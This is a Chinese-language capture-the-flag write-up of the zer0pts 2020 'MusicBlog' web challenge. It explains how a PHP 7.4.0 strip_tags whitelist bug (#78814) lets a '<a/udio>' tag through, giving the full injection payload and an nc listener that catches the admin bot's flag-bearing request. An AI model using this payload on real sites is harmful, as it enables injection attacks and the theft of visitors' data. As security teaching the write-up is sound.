You can introduce favorite songs to friends with MusicBlog!
Challenge (URL)
是一个Blog。在发布文章时可以选择是否公开,如果设置为公开,admin用户会自动访问该文章并点赞。写文章时可以使用[[URL]]
语法,将其插入到句子中会展开成<audio controls src="URL"></audio>
这样的audio元素。
首先,确认flag在哪。搜索zer0pts{
,能够发现flag在worker/worker.js
中,这是admin自动访问代码的一部分。
1 | // (snipped) |
await page.setUserAgent(flag);
,会将User-Agent设置为flag。那么首先,考虑找到一个使用[[URL]]
进行外部请求的方法,但是Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-yuAhic5Y6HSsT0e5zC8Qlg==' 'strict-dynamic'; base-uri 'none'; trusted-types
,严格的CSP策略会禁止这样。
但是,admin会进行await page.click('#like');
,如果能够将一个可控元素的id设置为like,就可以利用admin的click,考虑通过XSS将admin重定向访问到外部。
查看文章的单独页面post.php, 能够发现这里将文章内容作为参数,经过render_tags
后返回值显示在页面上。
1 | ︙ |
render_tags
在utils.php
中定义:
1 | <?php |
[[URL]]
替换为<audio controls src="URL"></audio>
之后,通过strip_tags
将audio
之外的标签消除来防止XSS。那如果使用[["></audio><script>alert(1)</script>]]
作为URL,经过这种处理之后就变成了<audio controls src=""></audio>alert(1)"></audio>
,<script>
和</script>
都被删除了,做不了什么。
看一下Web server的Dockerfile,可以看到使用的是PHP 7.4.0, 截至2020年3月7日,最新版本为PHP 7.4.3,看起来稍微有点老,因此可以看一下PHP 7.4.0之后的PHP 7.4.1的ChangeLog。
Standard:
- Fixed bug #78814 (strip_tags allows / in tag name => whitelist bypass).
可以看到修复了strip_tags
的一个bug,详细说明见 https://bugs.php.net/bug.php?id=78814
Bug #78814 strip_tags allows / in tag name, allowing whitelist bypass in browsers
When strip_tags is used with a whitelist of tags, php allows slashes (“/”) that occur inside the name of a whitelisted tag and copies them to the result.
For example, if
is whitelisted, then a tag
is also kept.
1 | Test script: |
将<strong>
作为白名单时,添加斜杠的<s/trong>
没有被删除,原样输出。MusicBlog 中使用的是<audio>
作为白名单,<a/udio>
可以通过函数处理,并且<a/udio>
会作为 超链接<a>
被解析。
因此,利用这个bug,使用[["></audio><a/udio href="(URL)" id="like">test</a/udio><audio a="]]
这样的内容的话,经过处理在文章中展开后是
1 | <audio controls src=""></audio><a/udio href="(URL)" id="like">test</a/udio><audio a=""></audio> |
这样admin自动去点击id为like的标签的话,会点击到我们可控的外部链接。
1 | $ nc -lvp 8000 |
参考资料
https://st98.github.io/diary/posts/2020-03-09-zer0pts-ctf-2020.html